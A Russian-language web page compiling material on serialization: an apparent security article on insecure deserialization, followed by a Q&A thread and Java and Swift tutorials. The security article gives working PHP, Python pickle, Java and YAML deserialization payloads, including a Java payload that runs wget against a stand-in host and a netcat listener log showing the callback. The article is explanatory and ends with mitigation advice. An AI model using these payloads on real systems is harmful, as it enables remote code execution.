Что такое десериализация
Перейти к содержимому

Что такое десериализация

  • автор:

Что такое десериализация

В рейтинге критических рисков веб-приложений OWASP Top Ten на восьмой позиции расположены недостатки десериализации недоверенных данных. Эта уязвимость имеет идентификатор CWE-502 и заключается в том, что приложение десериализует данные из недоверенного источника без достаточной их валидации. В результате атаки на механизмы десериализации злоумышленник нередко получает возможность удаленно исполнять команды в скомпрометированной системе.

В этой статье мы разберем самые распространенные случаи возникновения уязвимости небезопасной десериализации и примеры ее эксплуатации, а также поделимся рекомендациями по устранению таких угроз.

Введение

Что же такое десериализация?

Сериализация — это представление специфичных для языка программирования структур и объектов в едином формате, как правило, в виде строки определенного формата или последовательности байтов.

Десериализация — это обратный процесс: восстановление структур и объектов из сериализованной строки или последовательности байтов.

Сериализацию и десериализацию часто используют для сохранения состояния программы, например на диске или в базе данных, а также для обмена данными между различными приложениями.

Современные языки программирования предоставляют удобные механизмы для сериализации и десериализации своих структур. Поэтому разработчики нередко прибегают к ним: это просто, быстро, не требует дополнительных библиотек и позволяет не беспокоиться о проблемах совместимости сериализованных данных.

Вместе с тем гибкие механизмы сериализации и десериализации предоставляют гораздо больше возможностей, нежели просто представление объектов в едином формате. К сожалению, многие разработчики не уделяют должного внимания этим механизмам и допускают различные ошибки при написании кода, которые, в свою очередь, ведут к серьезным проблемам в безопасности приложения.

Десериализация в PHP

Для сериализации и десериализации в PHP используются функции serialize() и unserialize() соответственно.

serialize() принимает в качестве параметра объект и возвращает его сериализованное представление в виде строки.

unserialize() принимает в качестве параметра строку, содержащую сериализованный объект, и возвращает десериализованный объект, восстановленный из этой строки.

Рассмотрим на простом примере.

some_data))< eval($this->some_data); > > > if(isset($_REQUEST['data'])) < $result = unserialize($_REQUEST['data']) // do something with $result object // . >?>

В этом примере присутствует класс Injection , реализующий магический метод __wakeup() . Данный метод будет выполнен сразу после десериализации объекта класса Injection и, как можно увидеть, исполнит код, хранящийся в переменной класса $some_data .

С помощью следующего кода сгенерируем полезную нагрузку для эксплуатации подобной конструкции:

some_data))< eval($this->some_data); > > > $inj = new Injection(); $inj->some_data = "phpinfo();"; echo(serialize($inj)); ?>

В результате выполнения этого кода получим следующий сериализованный объект:

O:9:»Injection»:1:

И обратимся к нашему уязвимому приложению, передав в качестве данных в параметре data этот сериализованный объект:

https://example.com/vulnerable.php?data=O:9:»Injection»:1:

В результате исполнения данного кода и десериализации переданного нами объекта будет исполнена встроенная функция PHP phpinfo() . Таким образом злоумышленник получит возможность удаленного исполнения кода в уязвимой системе.

Стоит отметить, что не всегда эксплуатация уязвимости небезопасной десериализации в PHP ведет к удаленному исполнению кода. Иногда она приводит к чтению или записи произвольных файлов, SQL-инъекциям, отказу в обслуживании и так далее.

Для проведения успешной атаки необходимо, чтобы в приложении присутствовали классы, реализующие те или иные магические методы. Как правило, для целей эксплуатации наиболее полезны методы __destruct() , __wakeup() и __toString() . Кроме того, чтобы найти уязвимый класс или цепочку классов (так называемый гаджет), обычно нужен доступ к исходному коду приложения.

Вместе с тем приложения зачастую реализуются с использованием различных фреймворков, которые уже содержат подходящие гаджеты. В таком случае для генерации полезной нагрузки можно воспользоваться утилитой PHPGGC.

Десериализация в Python

Механизмы сериализации и десериализации в Python и в PHP во многом схожи. В Python для этих целей используется встроенная библиотека pickle .

pickle.dump() принимает в качестве параметров объект и имя файла и записывает переданный объект в файл с переданным именем в сериализованном виде.

pickle.load() принимает в качестве параметра имя файла, содержащего сериализованный объект, и возвращает десериализованный объект.

pickle.dumps() принимает в качестве параметра объект и возвращает его сериализованное представление в виде байтовой строки.

pickle.loads() принимает в качестве параметра байтовую строку, содержащую сериализованный объект, и возвращает десериализованный объект, восстановленный из этой строки.

Рассмотрим на простом примере.

import pickle from flask import request @app.route('vulnerable.py', methods=['GET']) def parse_request(): data = request.request.args.get('data') if (data): pickle.loads(data) # do something with result object # .

С помощью следующего кода сгенерируем полезную нагрузку для эксплуатации подобной конструкции:

import pickle class Payload(object): def __reduce__(self): return (exec, ('import os;os.system("ls")', )) pickle_data = pickle.dumps(Payload()) print(pickle_data)

В результате выполнения этого кода получим следующий сериализованный объект:

b'\x80\x03cbuiltins\nexec\nq\x00X\x19\x00\x00\x00import os;os.system("ls")q\x01\x85q\x02Rq\x03.'

И обратимся к нашему уязвимому приложению, передав в качестве данных в параметре data этот сериализованный объект, который представлен в URL-кодированном виде:

https://example.com/vulnerable.py?data=%80%03cbuiltins%0Aexec%0Aq%00X%19%00%00%00import%20os%3Bos.system%28%22ls%22%29q%01%85q%02Rq%03.

В результате исполнения данного кода и десериализации переданного нами объекта будет вызвана функция os.system() с параметром ls . Она осуществит вывод списка файлов в текущей рабочей директории приложения. Таким образом злоумышленник может получить возможность удаленного исполнения кода в уязвимой системе.

В случае с Python для успешного проведения атаки не требуется каких-либо дополнительных предпосылок. Поэтому для безопасности следует избегать использования pickle.loads() для десериализации данных, полученных из недоверенного источника.

Десериализация в Java

Десериализация в Java схожа с тем же процессом в PHP и Python.

Как правило, используются следующие конструкции:

  • метод readObject() класса java.beans.XMLDecoder ;
  • метод fromXML() класса com.thoughtworks.xstream.XStream ;
  • методы readObject() , readObjectNodData() , readResolve() , readExternal() , readUnshared() класса java.io.ObjectInputStream .

Рассмотрим использование метода readObject() класса java.io.ObjectInputStream на простом примере.

import java.util.*; import java.io.*; class Injection implements Serializable < public String some_data; private void readObject(ObjectInputStream in) < try < in.defaultReadObject(); Runtime.getRuntime().exec(some_data); >catch (Exception e) < System.out.println("Exception: " + e.toString()); >> > public class Main < public static void main(String[] args) < Object obj = new Object (); try < String inputStr = args[1]; byte[] decoded = Base64.getDecoder().decode(inputStr.getBytes("UTF-8")); ByteArrayInputStream bis = new ByteArrayInputStream(decoded); ObjectInput in = new ObjectInputStream(bis); obj = in.readObject(); // do something with result object // . >catch (Exception e) < System.out.println("Exception: " + e.toString ()); >> >

С помощью следующего кода сгенерируем полезную нагрузку для эксплуатации подобной конструкции:

import java.util.*; import java.io.*; class Injection implements Serializable < public String some_data; >public class Main < public static void main(String[] args) < try < Injection inj = new Injection(); inj.some_data = "wget http://example.com:8080"; ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(inj); oos.close(); System.out.println(new String(baos.toByteArray())); System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); >catch (Exception e) < System.out.println ("Exception: " + e.toString ()); >> >

В результате выполнения этого кода получим следующий сериализованный объект:

��sr Injection��+r7�L some_datatLjava/lang/String;xptwget http://example.com:8080

И для удобства взаимодействия с бинарными данными — его же в base64-кодированном виде:

rO0ABXNyAAlJbmplY3Rpb26voStyN+CgGAIAAUwACXNvbWVfZGF0YXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAcd2dldCBodHRwOi8vZXhhbXBsZS5jb206ODA4MA==

Обратимся к нашему уязвимому приложению, передав в качестве входного параметра этот сериализованный объект в base64-кодированном виде:

java -jar vulerable.jar rO0ABXNyAAlJbmplY3Rpb26voStyN+CgGAIAAUwACXNvbWVfZGF0YXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAcd2dldCBodHRwOi8vZXhhbXBsZS5jb206ODA4MA==

В результате исполнения данного кода и десериализации переданного нами объекта будет вызвана функция Runtime.getRuntime().exec() с параметром wget http://example.com:8080 , после чего будет получен «отстук» на контролируемом нами сервере example.com :

root@example.com:~$ nc -lvnp 8080 listening on [any] 8080 . connect to [***.***.***.***] from (UNKNOWN) [***.***.***.***] 45430 GET / HTTP/1.1 User-Agent: Wget/1.15 (linux-gnu) Accept: */* Host: example.com:8080 Connection: Keep-Alive

Таким образом злоумышленник может получить возможность удаленного исполнения кода в уязвимой системе.

В Java, как и в PHP, для получения удаленного исполнения кода необходимо наличие подходящего класса, реализующего интерфейс Serializable . В нашем примере таким классом был Injection . И, как и в PHP, поиск подходящего гаджета практически не осуществим без доступа к исходному коду приложения. В случае, если приложение реализовано с использованием некоторых фреймворков и библиотек классов, для генерации полезной нагрузки можно прибегнуть к помощи утилиты ysoserial.

Десериализация YAML

В различных языках и фреймворках есть возможность получить удаленное исполнение кода в ходе десериализации YAML.

Так, например, исполнение подобного кода на Python приведет к выводу листинга текущей директории:

import yaml yaml.load("!!python/object/new:os.system [ls -la]", Loader=yaml.UnsafeLoader)

Это довольно распространенная проблема, но, поскольку в разных языках функциональность обработки YAML-файлов реализуется по-разному, мы не будем подробно останавливаться на конкретных примерах.

Как можно заметить в коде выше, в вызов функции yaml.load() был явно передан аргумент Loader=yaml.UnsafeLoader . Это важно: в актуальных версиях библиотеки разработчики позаботились о том, чтобы по умолчанию не использовались уязвимые методы.

Сейчас при вызове yaml.load() без дополнительных параметров мы получим сообщение об ошибке:

main.py:3: YAMLLoadWarning: calling yaml.load() without Loader=. is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.

Вместе с тем в ранних версиях функция yaml.load() не ограничивала возможность исполнения управляющих конструкций, а чтобы безопасно десериализовать недоверенный YAML, нужно было прибегнуть к функции yaml.safe_load() . Подобную уязвимость все еще можно встретить во многих приложениях, которые используют более старые версии библиотек для работы с YAML.

Поэтому мы рекомендуем не полагаться на предусмотрительность поставщика библиотеки, а выбирать заведомо безопасные конструкции по типу yaml.safe_load() .

Заключение

Сериализация и десериализация, несомненно, мощные и гибкие инструменты, которые позволяют разработчикам легче манипулировать данными, сохранять их на диск или в базу данных, передавать их по сети. Но, как и в реальной жизни, в работе с каким-либо инструментом важно делать это правильно и соблюдать технику безопасности.

Простого и универсального метода защиты приложения от атак на десериализацию, к сожалению, не существует (разве что полный отказ от использования этого механизма). Поэтому вот несколько наших рекомендаций по безопасному использованию механизма десериализации:

  • По возможности использовать безопасные методы десериализации, например yaml.safe_load() вместо yaml.load() .
  • Пользоваться более простыми форматами (например, JSON) для передачи данных и для их сохранения на диск или в базу данных. Они, как правило, менее функциональные, но и не несут таких угроз, как встроенные механизмы сериализации.
  • Вести белый список допустимых классов. Разработчик может переопределить стандартную функциональность, которая используется для десериализации, и при загрузке объекта убедиться, что десериализация переданного объекта разрешена и используемые в сериализованном объекте конструкции безопасны.
  • Осуществлять подпись передаваемых сериализованных данных. Этот вариант хорошо подходит для сетевого обмена данными между приложениями. Без знания секретного ключа, использованного для подписи передаваемых данных, злоумышленник не сможет внести в них изменения. Однако стоит помнить, что приложение или секретный ключ могут быть скомпрометированы другим способом, и это может негативно сказаться на безопасности связанных приложений.
  • Использовать сторонние библиотеки и фреймворки, спроектированные специально для повышения безопасности процедур десериализации. Например, SerialKiller или NotSoSerial для Java.

Соблюдать эти рекомендации не всегда просто, особенно когда перед разработчиком стоит задача поддержки уже имеющегося кода. Но, учитывая, что атаки на механизмы десериализации могут привести к удаленному исполнению кода и полной компрометации системы, такие трудо- и времязатраты зачастую жизненно необходимы.

Сериализация простыми словами

Много раз встречал эту «сериализацию» на разных ресурсах, часто связано с JSON. Объясните, пожалуйста, простыми словами, что такое сериализация, где и зачем ее применяют ?

Отслеживать
задан 23 дек 2015 в 22:54
researcher researcher
2,465 1 1 золотой знак 17 17 серебряных знаков 34 34 бронзовых знака

5 ответов 5

Сортировка: Сброс на вариант по умолчанию

Сериализация — это преобразование объекта или дерева объектов в какой-либо формат с тем, чтобы потом эти объекты можно было восстановить из этого формата. Используется, например, для сохранения состояния программы (то есть, некоторых её объектов) между запусками. Или для передачи данных между различными экземплярами программы (или различными программами), например, по сети.

Главная идея состоит в том, что сериализованный формат — набор байт или строка, которую можно легко сохранить на диск или передать другому процессу или, например, по сети, в отличие от самого объекта. А значит, задача сохранения объекта/группы объектов при этом сводится к простой задаче сохранения набора байт или строки.

JSON — один из популярных форматов для сериализации, он текстовый, легковесный и легко читается человеком.

Пример: если у вас есть класс

class Test < int length; String name; public Test(int length, String name) < this.length = length; this.name = name; >> 

Объект этого класса в сериализованной форме может иметь вид

Саму сериализацию (и десериализацию) можно производить вручную, или пользоваться соответствующими библиотеками/фреймворками.

Существуют и бинарные форматы сериализации.

Отслеживать
ответ дан 23 дек 2015 в 22:59
206k 28 28 золотых знаков 291 291 серебряный знак 526 526 бронзовых знаков

Если я не ошибаюсь, сериализация это представление сущности в строке. Сохранение это отдельный процесс.

23 дек 2015 в 23:05
@Steve: Не обязательно, вполне возможна и бинарная сериализация.
23 дек 2015 в 23:07
Куда сохраняется сущность при сериализации?
23 дек 2015 в 23:38
@Steve: Куда угодно. В файл, в память, в поток, .
23 дек 2015 в 23:41
Сериализация — преобразование, но не сохранение.
23 дек 2015 в 23:51

Сериализация в общем виде — это процесс сохранения объекта в виде последовательности байт, чтобы в будущем по этой последовательности можно было бы восстановить исходный объект. В частном случае — это может быть сохранение в текстовую строку, хотя это далеко не обязательно.

Если объект сериализуется в текстовую строку, то тут могут быть разные форматы, включая XML и упомянутый в вопросе JSON. Последний для этой цели наиболее популярен в последнее время, т.к. JSON — это и так представление объекта в том формате, как объект создается в JavaScript. Собственно, JSON и переводится как JavaScript Object Notation.

Сериализацию можно использовать для хранения объектов на диске, для передачи его по сети или для передачи объекта другому процессу.

Процесс, обратный сериализации, называется десереализация. В случае, если другой процесс получает строку JSON, то он должен десереализовать строку в объект.

Отслеживать
ответ дан 24 дек 2015 в 7:03
1,991 12 12 серебряных знаков 23 23 бронзовых знака
спасибо за пояснение!
24 дек 2015 в 22:05

Если на кошках Вы пишете эмулятор кота — тамагочи. У вас есть объект класс cat

class Cat < private int age; private int weight; // other cat logic >

Вы хотите, чтобы при следующем запуске приложения этот же кот продолжал жить своей жизнью, а не пересоздался заново. Для этого вы реализуете сериализацию\десериализацию кота — то есть созранение\загрузку. Как — так как вам удобно. Можно сделать его Serializable и хранить в бинарном виде, можно сохранять в текстовый файл как JSON (JavaScript Object Notation), можно в базе хранить. Главное — вы сохраняете каким-то образом его состояние (в данном случае — поля), и потом, когда вам это будет нужно, их загружаете. Так же сериализованного кота можно будет например передать по сети на сервер. То есть вы передаете его состояние, а сервер у себя создаст новый объект класса Cat и установит у него это состояние (age и weight).

Отслеживать
ответ дан 24 дек 2015 в 14:57
Ruslan Neruka Ruslan Neruka
226 1 1 серебряный знак 4 4 бронзовых знака
спасибо за простой пример!
24 дек 2015 в 22:06

Сериализация используется для хранения сущностей в виде строки. Например можно взять объект, сериализовать и записать в базу данных.

Json — формат представления данных. Он может представлять объекты или массивы. Эти сущности также можно сериализовать. Если вывести сериализованый объект в Json, то можно получить строку сериализованного объекта.

Отслеживать
ответ дан 23 дек 2015 в 23:00
339 1 1 серебряный знак 13 13 бронзовых знаков

Сериализация — это преобразование данных. Если из более «понятного» в менее — это сериализация. А наоборот — десериализация.

Десериализовывать данные нужно, например, чтобы придать им человеко-читаемы вид, или такой формат, который можно и\или удобно использовать в работе приложение.

Сериализовать данные нужно, например, для хранения или пересылки. Потому что — есть определённый формат хранения\пересылки данных и данные нужно в него преобразовать.

Очень часто речь идёт о преобразовании в JSON — для отправки на сервер — это сериализация. И обратно — для использования в приложении — это десериализация.

Например — в интерфейсе приложения данные должны быть представлены в виде таблицы — и их нужно правильно достать из JSON и напихать в ячейки. Потом эти данные изменит пользователь и их нужно будет преобразовать обратно в дерево JSON, чтобы отправить на сервер.

Вот и всё. А вот это вот «процесс перевода структуры данных в последовательность байтов» — видимо сухая формулировка из старого учебника, которая мало способствует пониманию.

Что такое десериализация

Сериализация представляет процесс записи состояния объекта в поток, соответственно процесс извлечения или восстановления состояния объекта из потока называется десериализацией . Сериализация очень удобна, когда идет работа со сложными объектами.

Интерфейс Serializable

Сразу надо сказать, что сериализовать можно только те объекты, которые реализуют интерфейс Serializable . Этот интерфейс не определяет никаких методов, просто он служит указателем системе, что объект, реализующий его, может быть сериализован.

Сериализация. Класс ObjectOutputStream

Для сериализации объектов в поток используется класс ObjectOutputStream . Он записывает данные в поток.

Для создания объекта ObjectOutputStream в конструктор передается поток, в который производится запись:

ObjectOutputStream(OutputStream out)

Для записи данных ObjectOutputStream использует ряд методов, среди которых можно выделить следующие:

  • void close() : закрывает поток
  • void flush() : очищает буфер и сбрасывает его содержимое в выходной поток
  • void write(byte[] buf) : записывает в поток массив байтов
  • void write(int val) : записывает в поток один младший байт из val
  • void writeBoolean(boolean val) : записывает в поток значение boolean
  • void writeByte(int val) : записывает в поток один младший байт из val
  • void writeChar(int val) : записывает в поток значение типа char, представленное целочисленным значением
  • void writeDouble(double val) : записывает в поток значение типа double
  • void writeFloat(float val) : записывает в поток значение типа float
  • void writeInt(int val) : записывает целочисленное значение int
  • void writeLong(long val) : записывает значение типа long
  • void writeShort(int val) : записывает значение типа short
  • void writeUTF(String str) : записывает в поток строку в кодировке UTF-8
  • void writeObject(Object obj) : записывает в поток отдельный объект

Эти методы охватывают весь спектр данных, которые можно сериализовать.

Например, сохраним в файл один объект класса Person:

import java.io.*; public class Program < public static void main(String[] args) < try(ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.dat"))) < Person p = new Person("Sam", 33, 178, true); oos.writeObject(p); >catch(Exception ex) < System.out.println(ex.getMessage()); >> > class Person implements Serializable < private String name; private int age; private double height; private boolean married; Person(String n, int a, double h, boolean m)< name=n; age=a; height=h; married=m; >String getName() int getAge() < return age;>double getHeight() boolean getMarried() >

Десериализация. Класс ObjectInputStream

Класс ObjectInputStream отвечает за обратный процесс — чтение ранее сериализованных данных из потока. В конструкторе он принимает ссылку на поток ввода:

ObjectInputStream(InputStream in)

Функционал ObjectInputStream сосредоточен в методах, предназначенных для чтения различных типов данных. Рассмотрим основные методы этого класса:

  • void close() : закрывает поток
  • int skipBytes(int len) : пропускает при чтении несколько байт, количество которых равно len
  • int available() : возвращает количество байт, доступных для чтения
  • int read() : считывает из потока один байт и возвращает его целочисленное представление
  • boolean readBoolean() : считывает из потока одно значение boolean
  • byte readByte() : считывает из потока один байт
  • char readChar() : считывает из потока один символ char
  • double readDouble() : считывает значение типа double
  • float readFloat() : считывает из потока значение типа float
  • int readInt() : считывает целочисленное значение int
  • long readLong() : считывает значение типа long
  • short readShort() : считывает значение типа short
  • String readUTF() : считывает строку в кодировке UTF-8
  • Object readObject() : считывает из потока объект

Например, извлечем выше сохраненный объект Person из файла:

import java.io.*; public class Program < public static void main(String[] args) < try(ObjectInputStream ois = new ObjectInputStream(new FileInputStream("person.dat"))) < Person p=(Person)ois.readObject(); System.out.printf("Name: %s \t Age: %d \n", p.getName(), p.getAge()); >catch(Exception ex) < System.out.println(ex.getMessage()); >> >

Теперь совместим сохранение и восстановление из файла на примере списка объектов:

import java.io.*; import java.util.ArrayList; public class Program < //@SuppressWarnings("unchecked") public static void main(String[] args) < String filename = "people.dat"; // создадим список объектов, которые будем записывать ArrayListpeople = new ArrayList(); people.add(new Person("Tom", 30, 175, false)); people.add(new Person("Sam", 33, 178, true)); try(ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename))) < oos.writeObject(people); System.out.println("File has been written"); >catch(Exception ex) < System.out.println(ex.getMessage()); >// десериализация в новый список ArrayList newPeople= new ArrayList(); try(ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) < newPeople=((ArrayList)ois.readObject()); > catch(Exception ex) < System.out.println(ex.getMessage()); >for(Person p : newPeople) System.out.printf("Name: %s \t Age: %d \n", p.getName(), p.getAge()); > > class Person implements Serializable < private String name; private int age; private double height; private boolean married; Person(String n, int a, double h, boolean m)< name=n; age=a; height=h; married=m; >String getName() int getAge() < return age;>double getHeight() boolean getMarried() >

Исключение данных из сериализации

По умолчанию сериализуются все переменные объекта. Однако, возможно, мы хотим, чтобы некоторые поля были исключены из сериализации. Для этого они должны быть объявлены с модификатором transient . Например, исключим из сериализации объекта Person переменные height и married:

class Person implements Serializable < private String name; private int age; private transient double height; private transient boolean married; Person(String n, int a, double h, boolean m)< name=n; age=a; height=h; married=m; >String getName() int getAge() < return age;>double getHeight() boolean getMarried() >

Что такое сериализация и десериализация данных

сериализация Сериализация и десериализация — это процессы преобразования данных из одной формы в другую с целью сохранения или передачи информации между разными системами или программами. Эти процессы часто используются в программировании, особенно при работе с сетевыми протоколами, базами данных или сохранении состояния объектов.

Сериализация

Это процесс преобразования сложных структур данных, таких как объекты, массивы, словари и т.д., в более простой формат, который может быть сохранен в файле или передан через сеть. Сериализация используется для сохранения состояния объектов или передачи данных между программами. Результатом сериализации может быть текстовая строка или бинарное представление, которое легко восстановить обратно в исходные данные.

Десериализация

Это обратный процесс, при котором данные, ранее сериализованные, восстанавливаются в исходную сложную структуру данных. Десериализация выполняется с целью использования или анализа этих данных в программе.

Примером такой ситуации может быть передача объекта (например, пользователя) через сеть с использованием сериализации: объект сериализуется на одной стороне (переводится в удобный для передачи формат, например, JSON или бинарный поток), затем передается по сети и десериализуется на другой стороне для дальнейшего использования.

Разные языки программирования и фреймворки предоставляют средства для сериализации и десериализации данных, и это важный аспект при работе с распределенными системами и обмене информацией между разными компонентами программного обеспечения.

Преимущества сериализации и десериализации

Технология сериализации и десериализации имеет несколько преимуществ, которые делают ее важным инструментом при работе с данными в программировании:

  1. Передача данных по сети: Сериализация позволяет передавать сложные структуры данных, такие как объекты, через сеть в удобном формате. Это особенно полезно при клиент-серверных взаимодействиях и в распределенных системах.
  2. Хранение данных: Сериализация позволяет сохранять состояние объектов в файлы или базы данных. Это полезно, когда необходимо сохранять промежуточное состояние программы, чтобы возобновить работу позже.
  3. Интеграция разных систем: Множество программ взаимодействуют между собой, и они могут быть написаны на разных языках программирования. Сериализация позволяет преобразовывать данные в общие форматы, такие как JSON или XML, что упрощает интеграцию.
  4. Производительность: В некоторых случаях бинарные форматы сериализации могут быть более компактными и быстрыми для передачи по сети, чем текстовые форматы.
  5. Сохранение совместимости: При использовании версионирования данных, можно сохранить совместимость между разными версиями программ, десериализуя старые данные в новой версии приложения.
  6. Расширяемость: Многие форматы сериализации позволяют встраивать пользовательские типы данных, что делает их более гибкими для разных приложений.

Пример сериализации на Swift

В Swift для сериализации данных в популярный формат JSON (JavaScript Object Notation) можно использовать встроенный класс JSONEncoder . Приведем пример сериализации структуры данных на Swift в JSON-формат:

import Foundation // Определяем структуру данных для сериализации struct Person: Codable < var name: String var age: Int var email: String >// Создаем экземпляр объекта, который хотим сериализовать let person = Person(name: "John Doe", age: 30, email: "john@example.com") // Используем JSONEncoder для сериализации в JSON-формат let encoder = JSONEncoder() encoder.outputFormatting = .prettyPrinted // Опционально: форматирование вывода if let jsonData = try? encoder.encode(person) < if let jsonString = String(data: jsonData, encoding: .utf8) < print(jsonString) >>

Этот код создает структуру Person с полями «name», «age» и «email», затем создает экземпляр этой структуры и сериализует его в JSON-формат с использованием JSONEncoder . При необходимости можно настроить форматирование вывода JSON, как показано выше.

Обратите внимание, что в этом примере явно используется протокол Codable , который позволяет автоматически сгенерировать реализацию для сериализации и десериализации объектов. Этот протокол позволяет избежать ручного кодирования и декодирования в большинстве случаев, если структура данных соответствует определенным правилам.

Важно убедиться, что ваша структура данных соответствует требованиям протокола Codable (это обычно означает, что все свойства структуры также должны быть Codable , и если у вас есть свои специфические требования, может потребоваться реализовать методы encode и decode вручную).

Недостатки сериализации

Сериализация — полезный инструмент для работы с данными, но у неё есть и некоторые недостатки:

  1. Оверхед: Технология может добавить некоторый оверхед к данным, так как сериализированные данные могут включать метаданные или дополнительную информацию, необходимую для восстановления данных в исходное состояние. Это может быть незначительным, но в некоторых случаях может иметь значение.
  2. Сложность: Разработка и поддержание механизмов сериализации и десериализации может быть сложной задачей, особенно при работе с более сложными структурами данных или в случае несовместимости форматов между разными версиями программ.
  3. Безопасность: Важно обратить внимание на безопасность при десериализации данных. Сериализация может быть использована злоумышленниками для внедрения вредоносного кода (например, при десериализации данных из ненадежных источников). Это может быть проблемой, если не предприняты соответствующие меры безопасности.
  4. Сложности совместимости: В некоторых случаях может возникнуть проблема совместимости между версиями программ, особенно если структуры данных изменились. Важно правильно управлять версионированием данных и поддерживать совместимость между старыми и новыми версиями формата.
  5. Производительность: Некоторые форматы сериализации могут быть менее эффективными с точки зрения производительности по сравнению с бинарными форматами. Если скорость передачи данных имеет первостепенное значение, то выбор формата сериализации следует производить осторожно.
  6. Вложенные ссылки и циклические зависимости: Если данные содержат вложенные ссылки на объекты или имеют циклические зависимости, механизмы сериализации и десериализации могут столкнуться с трудностями при правильном восстановлении таких связей.

Несмотря на эти недостатки, сериализация является важным инструментом для передачи и хранения данных в программировании, и правильное использование с учетом конкретных требований и рисков может значительно упростить обработку данных в различных сценариях.

Дополнительные ссылки

  • Moshi: сериализация и десериализация JSON
  • Современная Android-разработка в 2023 году
  • Сериализация в Java
  • Сериализация параметров запроса в Swift

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *